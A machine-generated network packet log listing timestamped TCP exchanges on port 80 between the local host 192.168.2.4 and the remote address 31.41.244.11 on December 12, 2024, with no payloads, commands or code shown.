Dec 12, 2024 14:26:59.212740898 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.212851048 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.212851048 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.214540005 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.214624882 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.214656115 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.214694023 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.216451883 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.216567039 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.216603041 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.216603041 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.218477011 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.218507051 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.218539953 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.218539953 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.220235109 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.220278025 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.220396042 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.220520973 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.222091913 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.222127914 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.222165108 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.222529888 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.223805904 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.223841906 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.223896027 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.223929882 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.225651979 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.225703001 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.225788116 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.227438927 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.227541924 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.227575064 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.227575064 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.229259014 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.229301929 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.229343891 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.229378939 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.230999947 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.231034994 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.231055975 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.231112957 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.232773066 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.232810974 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.232846022 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.233347893 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.234647989 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.234683037 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.234802961 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.235333920 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.236238003 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.236274004 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.236309052 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.236392021 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.237962961 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.238053083 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.238080978 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.238142014 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.239692926 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.239739895 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.239785910 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.239825964 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.241420031 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.241466045 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.241487980 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.241511106 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.243143082 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.243181944 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.243186951 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.243228912 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.244733095 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.244816065 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.244854927 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.244935036 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.246417046 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.246510029 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.246543884 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.246656895 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.248085022 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.248126984 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.248172045 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.248214960 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.249689102 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.249777079 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.249825001 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.249825001 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.251393080 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.251504898 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.251542091 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.251542091 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.252970934 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.253012896 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.253149986 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.253205061 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.254565954 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.254606009 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.254647970 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.254746914 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.256225109 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.256270885 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.256340981 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.256378889 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.257854939 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.257905960 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.257951975 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.258008957 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.259363890 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.259426117 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.259478092 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.259522915 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.261100054 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.261219025 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.261243105 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.261280060 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.262850046 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.262960911 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.262979031 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.263009071 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.264635086 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.264769077 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.264806986 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.264806986 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.265464067 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.265566111 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.265568018 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.265603065 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.266652107 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.266691923 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.266731024 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.266796112 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.267349958 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.267395973 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.267437935 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.267546892 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.268136978 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.268182039 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.268290043 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.268328905 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.268990040 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.269104004 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.269123077 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.269181013 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.270004988 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.270052910 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.270195007 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.270239115 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.270904064 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.271013021 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.271034956 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.271070957 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.271904945 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.272068977 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.272089958 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.272114038 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.272802114 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.272861004 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.272900105 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.272929907 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.273721933 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.273780107 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.273813963 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.273866892 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.274734974 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.274748087 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.274775982 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.274930954 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.275595903 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.275640965 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.275731087 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.275767088 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.276607990 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.276639938 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.276652098 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.276683092 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.277482986 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.277527094 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.277532101 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.277573109 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.278408051 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.278479099 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.278496981 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.278549910 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.279333115 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.279376984 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.392296076 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.392422915 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.392467976 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.392827988 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.392852068 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.392874956 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.392874956 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.392891884 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.393706083 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.393919945 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.393934965 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.393955946 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.394689083 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.394730091 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.394742012 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.394784927 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.395622015 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.395693064 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.395723104 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.395783901 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.396526098 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.396568060 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.396663904 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.396838903 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.397476912 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.397521973 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.397562027 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.397620916 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.398391008 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.398421049 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.398438931 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.398546934 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.399219036 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.399262905 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.399384022 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.399435043 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.400069952 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.400388002 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.400396109 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.400448084 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.401074886 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.401088953 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.401120901 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.401138067 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.401890039 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.401925087 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.402657032 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.402724981 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.402776003 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.402776003 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.402817011 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.402868032 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.403517008 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.403577089 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.403595924 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.403652906 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.404514074 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.404556036 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.404582024 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.404620886 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.405344009 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.405411959 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.405539989 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.405579090 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.406236887 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.406286955 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.406451941 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.406688929 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.406961918 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.407001019 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.407474041 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.407567024 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.407816887 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.407954931 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.408019066 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.408058882 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.408694029 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.408752918 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.408792973 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.408792973 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.409548044 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.409586906 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.409732103 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.409770966 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.410408020 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.410450935 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.410590887 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.410634995 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.411293030 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.411319017 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.411333084 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.411441088 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.412108898 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.412151098 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.412282944 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.412316084 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.413041115 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.413053036 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.413094044 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.413094044 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.413842916 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.413913965 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.413976908 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.414016008 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.414664984 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.414719105 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.414849043 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.414900064 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.415544987 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.415586948 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.415669918 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.415709972 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.416409016 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.416455984 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.416687965 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.416748047 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.417294979 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.417371035 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.417376041 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.417496920 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.418255091 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.418297052 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.418543100 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.418628931 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.419054985 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.419112921 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.419161081 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.419338942 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.419838905 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.419884920 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.419922113 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.419970989 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.420708895 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.420747042 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.420806885 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.420845032 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.421575069 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.421646118 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.421719074 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.421755075 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.422405005 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.422452927 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.422530890 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.422568083 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.423367023 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.423428059 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.423496962 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.423540115 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.424166918 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.424190044 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.424210072 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.424221992 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.425031900 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.425072908 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.425467968 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.425508022 CET	49878	80	192.168.2.4	31.41.244.11
